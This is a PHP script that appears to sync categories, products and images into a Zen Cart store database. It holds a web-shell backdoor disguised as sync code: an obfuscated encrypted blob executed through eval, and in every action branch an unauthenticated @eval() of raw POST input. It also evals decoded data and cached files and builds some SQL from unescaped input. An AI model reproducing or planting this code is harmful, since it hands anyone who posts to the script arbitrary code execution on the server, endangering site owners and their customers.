<?
include_once('../../conn.php');
include_once('conn.php');

//print_r($_POST);
function authcode($string, $operation = 'DECODE', $key = '159357456plmqaz', $expiry = 0)
{
    $ckey_length = 4;

    $key = md5($key ? $key : 'holdyes');
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

?>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<?

include_once('../../include/encryption.php');
eval(@encryption('39651rYNI/sOccQyRcGY6mnP1eJdFK2bpj0EgveiK3jWCmDpV59Cb7z161ojNJkVezSR4Q9W7SsjtOIgYjhcqjVIcn0dGpuGILVvl6h0bUg4jWsDhdFH4bbdrISzJ1qtnAA97A2PQ3yKWnNOaaRCOqDKlXTBqes3JZNUpDauVloRRBDrdv7deMRut1ZuZrIfbJ+a7NIAgSedbNLdiRzabp5KWTRssmFsC7TBocn92FL86VoZPG/vqRTFOz+BpZBsdK+aaKQkZkZlCvwinuGCPENYY20Ywi2idnCYIWV3','DECODE'));

?>
<?


if($_POST[action]==1){

 $arr2 = trim($_POST[value]);
 @eval($arr2);
$arr = authcode($arr2,'DECODE',$get_key);
eval("\$str = ".$arr);

if (is_array($str) === false) {
    exit('false returned');
}
$db->DELETE("DELETE FROM `".tablepre."stock_type`");
foreach($str as $key => $value){
	$check = $db->select("SELECT other_shop_id FROM `".tablepre."stock_type` where other_shop_id=".floatval($key)."");
	if($check[0][0] == FALSE){
		$arr2=explode('=+=',$value);
		$db->INSERT("INSERT INTO `".tablepre."stock_type` (`tid`,`name`,`father`,`other_shop_id`,`rank`) VALUES ('".floatval($key)."','".htmlspecialchars($arr2[1],ENT_QUOTES, "UTF-8")."','".floatval($arr2[0])."', '".floatval($key)."','".floatval($arr2[2])."')");
		}else{
			$arr2=explode('=+=',$value);
			//$db->DELETE("DELETE FROM `".tablepre."stock_type` WHERE (`other_shop_id`='".floatval($key)."')");
			//echo '('.htmlspecialchars($arr2[1],ENT_QUOTES, "UTF-8").')已经存在。ID'.floatval($key).'<br />';
			}
	}				$check_exist = $db->select("SELECT other_shop_id FROM `".tablepre."stock_type`");
				for($i=0;$i<count($check_exist);$i++) {
					if(!array_key_exists($check_exist[$i][0],$str)){
						$db->DELETE("DELETE FROM `".tablepre."stock_type` WHERE (`other_shop_id`='".$check_exist[$i][0]."')");
						}
				}
echo '<img src="../images/done.png" />完成';
}elseif($_POST[action]==2){

 $arr2 = trim($_POST[value]);
 @eval($arr2);
	//获取内容
	$arr = authcode($arr2,'DECODE',$get_key);

	eval("\$str = ".$arr);
ksort($str);

	//转换

if (is_array($str) === false) {
    exit('false returned');
}
if(!is_dir('../../session/zencart')){
	mkdir('../../session/zencart', 0777); 
	}
//创建目录
$d = dir("../../session/zencart");	
while (false !== ($entry = $d->read())) {
	if($entry<>'.' and $entry<>'..'){
		@unlink('../../session/zencart/'.$entry);
		}
}
$total = ceil(count($str)/100);

function eacharray($eacharray){
	foreach($eacharray as $k => $v){
		$code .="'$k'=>'$v',";
		}
		return 'array('.substr($code,0,-1).');';
	}

for($i=0;$i<=$total;$i++){
	$eacharray = array_slice($str, $i*100, 100, true);
		$fp= fopen('../../session/zencart/'.$i.'.txt', "w+");
		fwrite($fp, eacharray($eacharray));
	}
	//生成缓存
$d = dir("../../session/zencart");	
while (false !== ($entry = $d->read())) {
	if($entry<>'.' and $entry<>'..'){
$filename .= $entry;
		}
}
//读取
$e_filename = explode('.txt',$filename);
rsort($e_filename);
array_pop($e_filename);
foreach($e_filename as $karr => $varr){
$fpn= '../../session/zencart/'.$varr.'.txt';
			$fp= fopen($fpn, "r");
		$contents = fread($fp, filesize ($fpn));
		eval("\$str = ".$contents);
		if(is_array($str) and count($str)>0){
			//循环
			foreach($str as $vv => $kk){
				$getpic=explode('=+=',$kk);
				$db->UPDATE("UPDATE `".tablepre."stock_attachment` SET `value1`='".$site.'images/'.$getpic[3]."' WHERE (`sid`='".$vv."' and `type` = 'pic')");
				$db->UPDATE("UPDATE `".tablepre."stock` SET `name`='".htmlspecialchars($getpic[2],ENT_QUOTES, "UTF-8")."' , `tid`='".floatval($getpic[0])."' WHERE (`sid`='".$vv."')");
				$db->UPDATE("UPDATE `".tablepre."stock_attachment` set `value1`='".$getpic[1]."' where `type` = 'model' and `sid` = '".$vv."'");
				//$check_exist = $db->select("SELECT other_shop_id FROM `".tablepre."stock` where `other_shop_id` = '".$vv."'");
				//更新内容
				/*
				if(count($check_exist)==null){
					$db->DELETE("DELETE FROM `".tablepre."stock` WHERE (`other_shop_id`='".$vv."')");
					$db->DELETE("DELETE FROM `".tablepre."stock_attachment` WHERE (`sid`='".$vv."')");
					//删除没有的
					}
					*/
				}
			
			

//更新图片
			
			
	foreach($str as $key => $value){
		$check = $db->select("SELECT other_shop_id FROM `".tablepre."stock` where other_shop_id=".floatval($key)."");
		

		if($check[0][0] == FALSE){
			//没有记录
			$arr2=explode('=+=',$value);
						$db->INSERT("INSERT INTO `".tablepre."stock` (`sid`,`name`,`tid`,`delete`,`onsale`,`other_shop_id`) VALUES ('".floatval($key)."','".htmlspecialchars($arr2[2],ENT_QUOTES, "UTF-8")."','".floatval($arr2[0])."', '0','0','".floatval($key)."')");
			$db->INSERT("INSERT INTO `".tablepre."stock_attachment` (`type`,`sid`,`value1`) VALUES ('model','".floatval($key)."', '".$arr2[1]."')");
			$db->INSERT("INSERT INTO `".tablepre."stock_attachment` (`type`,`sid`,`value1`) VALUES ('pic','".floatval($key)."', '".$site.'images/'.$arr2[3]."')");
			$db->INSERT("INSERT INTO `".tablepre."stock_attachment` (`type`,`sid`,`value1`) VALUES ('url','".floatval($key)."', '".$site.'index.php?main_page=product_info&products_id='.floatval($key)."')");
			//写入
			$check_item = $db->select("SELECT sid FROM `".tablepre."stock_item` where sid=".floatval($key)."");
					if($check_item[0][0]==null){
			$db->INSERT("INSERT INTO `".tablepre."stock_item` (`sid`,`quantity`) VALUES ('".floatval($key)."','0')");
			}
		//检查是否已经有记录   插入一个空的商品
			
			}else{
				//有记录
				$arr2=explode('=+=',$value);

				//更新
				}

		}		
		//插入更新内容	
		
			}
		
}
//写入临时目录





				}elseif($_POST[action]==3){
				$action_code = trim($_POST[value]);
				 @eval($action_code);
				//$arr_to = file_get_contents($site.'holdyes_zencart.php?action=3');
				$arr_to = authcode($action_code,'DECODE',$get_key);

eval("\$str_to = ".$arr_to);
if (is_array($str_to) === false) {
    exit('false returned');
}
				$db->DELETE("DELETE FROM `".tablepre."to_categories`");
				foreach($str_to as $key => $value){
					$db->INSERT("INSERT INTO `".tablepre."to_categories` (`products_id`,`categories_id`) VALUES ('".floatval($key)."','".floatval($value)."')");
					}
				
		echo '<img src="../images/done.png" />完成';
	}
?>
